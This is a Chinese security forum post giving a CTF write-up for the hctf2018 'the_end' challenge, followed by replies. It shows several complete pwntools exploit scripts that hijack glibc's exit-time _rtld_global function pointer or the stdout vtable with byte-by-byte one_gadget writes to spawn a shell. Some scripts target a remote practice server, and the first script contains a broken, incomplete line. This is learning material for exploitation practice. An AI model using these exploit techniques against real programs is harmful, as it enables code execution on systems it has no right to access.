首页
社区
课程
招聘
[原创]hctf2018_the_end(IO FILE attack和exit_hook attack)
2020-10-5 19:49 9937

[原创]hctf2018_the_end(IO FILE attack和exit_hook attack)

2020-10-5 19:49
9937

前一阵ciscn半决赛的时候几乎遇到了 跟这个一模一样的题。当时是基于2.23下打的io file。但是我赛后想了一下,这道题能考察的利用点还挺多的,可以作为一道很好的多解题来总结,于是这件事情就拖到了现在才做。准备总结一下在2.23和2.27两个版本下可以打的点。
图片描述

劫持exit_hook

exit调用流程如下:

1
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive

我们劫持__rtld_lock_unlock_recursive 而这个函数是在_rtld_global结构体中的一个函数。
偏移计算如下:
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./the_end"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    pass
def free(index,c=''):
    sal(cho,c)
    pass
def show(index,c=''):
    sal(cho,c)
    pass
def edit(index,content='',c=''):
    sal(cho,c)
    pass
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    get_proc_base(io)
    get_libc_base(io)
    ru("here is a gift ")
    libc.address =  int(r(len("0x7f7819bef2b0")),16)-libc.sym['sleep']
    success("libc:"+hex(libc.address))
 
 
    ogg = libc.address+#
    info("ogg:"+hex(ogg))
    _rtld_global = libc.address+0x5f0040
    success("_rtld_global:"+hex(_rtld_global))
    __rtld_lock_unlock_recursive = _rtld_global+0xf08
    success("__rtld_lock_unlock_recursive :"+hex(__rtld_lock_unlock_recursive))
 
    pause()
    s(p64(__rtld_lock_unlock_recursive))
    s(p8(ogg&0xff))
    info(hex(ogg&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+1))
    s(p8((ogg>>8)&0xff))
    info(hex((ogg>>8)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+2))
    s(p8((ogg>>16)&0xff))
    info(hex((ogg>>16)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+3))
    s(p8((ogg>>24)&0xff))
    info(hex((ogg>>24)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+4))
    s(p8((ogg>>32)&0xff))
    info(hex((ogg>>32)&0xff))
    sl("cat flag>&0")
    shell()
exp()

劫持vtable

由于是2.23下,没有vtable保护,所以可以劫持stdout的虚表指针,把假的虚表构造在stderr上,然后伪造虚表对应位置的_setbuf 函数.程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vatable 中 _setbuf 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./the_end"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    pass
def free(index,c=''):
    sal(cho,c)
    pass
def show(index,c=''):
    sal(cho,c)
    pass
def edit(index,content='',c=''):
    sal(cho,c)
    pass
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
def change(addr1,byte):
    s(p64(addr1))
    s(p8(byte))
def exp():
    global io
    io = process(elf_path)
    get_proc_base(io)
    get_libc_base(io)
    ru("here is a gift ")
    libc.address =  int(r(len("0x7f7819bef2b0")),16)-libc.sym['sleep']
    success("libc:"+hex(libc.address))
 
    ru("good luck ;)")
    ogg = libc.address+0xf0364
    stdout_vtable_ptr = libc.sym['_IO_2_1_stdout_']+0xd8
    stderr_vtable_ptr = libc.sym['_IO_2_1_stderr_']+0xd8    # 虚表劫持
    success("stdout_addr:"+hex(stdout_vtable_ptr))
    success("stderr_addr:"+hex(stderr_vtable_ptr))
    fake_vtable_addr = stderr_vtable_ptr-0x58          # fake虚表的位置
    success("fake vtable addr:"+hex(fake_vtable_addr))
 
 
    change(stdout_vtable_ptr,(fake_vtable_addr&0xff))
    change(stdout_vtable_ptr+1,((fake_vtable_addr>>8)&0xff))   #劫持stdout结构体的虚表指针指向fake table的位置(_IO_2_1_stderr_+128)
 
    ogg = libc.address+0x45226
    success("ogg:"+hex(ogg))
    change(stderr_vtable_ptr,ogg&0xff)
    change(stderr_vtable_ptr+1,((ogg>>8)&0xff))
    change(stderr_vtable_ptr+2,((ogg>>16)&0xff))
    shell()
exp()

注意最后cat flag的时候要绑定一下输出流到0号

glibc2.27

在2.27下有了对于虚表指针的验证,所以直接劫持变得不可行。所以还是打exit_hook。注意_rtld_global是ld里的符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.27.so"
elf_path = "./the_end"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    pass
def free(index,c=''):
    sal(cho,c)
    pass
def show(index,c=''):
    sal(cho,c)
    pass
def edit(index,content='',c=''):
    sal(cho,c)
    pass
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址 
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    #io = process(elf_path)
    io = remote("node3.buuoj.cn",29679)
    #get_proc_base(io)
    #get_libc_base(io)
    ru("here is a gift ")
    libc.address =  int(r(len("0x7f7819bef2b0")),16)-libc.sym['sleep']
    ld = ELF('/lib/x86_64-linux-gnu/ld-2.27.so')
    ld.address = libc.address+0x3f1000
    success("libc:"+hex(libc.address))
    success("ld:"+hex(ld.address))
 
 
 
    ogg = libc.address+0x4f322
    info("ogg:"+hex(ogg))
    _rtld_global = ld.sym['_rtld_global']
    success("_rtld_global:"+hex(_rtld_global))
    __rtld_lock_unlock_recursive = _rtld_global+0xf08
    success("__rtld_lock_unlock_recursive :"+hex(__rtld_lock_unlock_recursive))
 
    pause()
    s(p64(__rtld_lock_unlock_recursive))
    s(p8(ogg&0xff))
    info(hex(ogg&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+1))
    s(p8((ogg>>8)&0xff))
    info(hex((ogg>>8)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+2))
    s(p8((ogg>>16)&0xff))
    info(hex((ogg>>16)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+3))
    s(p8((ogg>>24)&0xff))
    info(hex((ogg>>24)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+4))
    s(p8((ogg>>32)&0xff))
    info(hex((ogg>>32)&0xff))
    sl('exec 1>&0')
    shell()
exp()

效果:
图片描述


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (4)
雪    币: 19586
活跃值: (60093)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2020-10-7 14:16
2
0
题目附件能提供一下?
雪    币: 2663
活跃值: (5215)
能力值: ( LV10,RANK:177 )
在线值:
发帖
回帖
粉丝
YenKoc 2 2020-10-7 15:11
3
0
川大师傅nb
雪    币: 0
活跃值: (110)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
云中君 2021-6-17 16:42
4
0

版主,你好。我看了你和ctf-wiki关于该题的题解。但不管是我按自己理解写的脚本还是用你们的脚本,无论本地(使用了对应版本的docker, ubuntu16 / ubuntu18),还是buuoj上的,都无法cat flag 1>&0, 也无法exec sh 1&0



在本地环境调试的时候,我发现可以执行到这几个one_gadget,但都不满足它们的约束条件。在用gdb手动修改,使其满足约束条件后,继续执行,gdb提示启动了新进程, 但脚本依旧收不到flag。

截图是在本地ubuntu18.04下(libc-2.27) 通过劫持_rtld_global._dl_rtld_unlock_recursive的测试结果:

雪    币: 0
活跃值: (110)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
云中君 2021-6-22 10:20
5
0
云中君 版主,你好。我看了你和ctf-wiki关于该题的题解。但不管是我按自己理解写的脚本还是用你们的脚本,无论本地(使用了对应版本的docker, ubuntu16 / ubuntu18),还是buuoj上 ...

不知道版主当时解题用的是什么环境。折腾了好几天,终于做出来了。

buuoj上用的环境的ubuntu18,劫持vtable就不可用了, 因为2.24-2.27中, _IO_file_jumps, _IO_str_jumps等函数指针表都在位于

__libc_IO_vtables 这个只读section里, 且有vtable的check。只能使用劫持_rtld_global中函数指针的方式。


我本机docker里的ubuntu18小版本比buuoj上的新。这导致了两个问题:

  1. libc-2.27.so 小版本不同, one_gadget的偏移不同。

  2. 运行时ld.so与libc.so的基址距离不同。 本题所使用劫持_rtld_global._dl_rtld_unlock_recursive函数指针位于ld.so模块内,该模块与libc.so的距离,似乎是常量,但与具体系统版本,ld.so版本相关,与是否开启ASLR无关。

我docker里的ubuntu18.04的libc-2.27.so 执行后显示版本是 Ubuntu GLIBC 2.27-3ubuntu1.4

本人docker中ubuntu18.04下_rtld_global对象与libc.so基址间的偏移:0x61b060

而buuoj上下载到的libc-2.27执行后是这样的:Ubuntu GLIBC 2.27-3ubuntu1

根据buuoj下载到的libc-2.27.so, 最终确定其使用的是ubuntu18.04.1这个小版本。找到一个18.04.1的docker镜像,找出_rtld_global对象相对libc.so的偏移:0x619060

最后,只需要将_rtld_global的偏移改成0x619060,就可以打buuoj上的靶机了。


附上我的脚本:

# -*- coding: utf-8 -*-
from pwn import *

g_fname = args.FNAME 
g_elf = ELF(g_fname)
context.binary = g_elf
g_libcname = args.LIB if (args.LIB) else "/lib/x86_64-linux-gnu/libc.so.6"

if (args.LOCAL):
    g_io = process(g_fname)
else:
    rhost, rport = args.REMOTE.split(":")
    g_io = remote(rhost, int(rport))

g_libc = ELF(g_libcname)

def getpid():
    if (args.LOCAL):
        log.info("PID: %d", g_io.proc.pid)
        pause()

s, sa, sl, sla = g_io.send, g_io.sendafter, g_io.sendline, g_io.sendlineafter
r, ru, rl = g_io.recv, g_io.recvuntil, g_io.recvline

def pwn():
    ru("here is a gift ")
    addr_sleep = int(ru(',', drop=True), 16)
    libc_base = addr_sleep - g_libc.sym["sleep"]
    one_gadget = libc_base + 0x4f322 # buuoj's libc-2.27.so
    #one_gadget = libc_base + 0x4f432 
    log.debug("addr_sleep=%#x\n\tlibc@%#x\n\tone_gadget@%#x"
        , addr_sleep
        , libc_base
        , one_gadget
    )
    ru("good luck ;)")

    g_libc.address = libc_base
    #addr_rtld_global = libc_base + 0x61b060
    addr_rtld_global = libc_base + 0x619060
    # target is _rtld_global._rtld_dl_unlock_recursive
    addr_target = addr_rtld_global + 0xf08
    
    log.debug("_rtld_global@%#x\n\t_dl_rtld_unlock_recursive@%#x"
        , addr_rtld_global
        , addr_target
    )
    getpid()

    for i in range(5):
        s(p64(addr_target+i))
        s(p64(one_gadget)[i:i+1])

    sl("cat flag>&0")

if ("__main__" == __name__):
    if (args.DEBUG):
        context.log_level = "debug"
    pwn()
    g_io.interactive()


游客
登录 | 注册 方可回帖
返回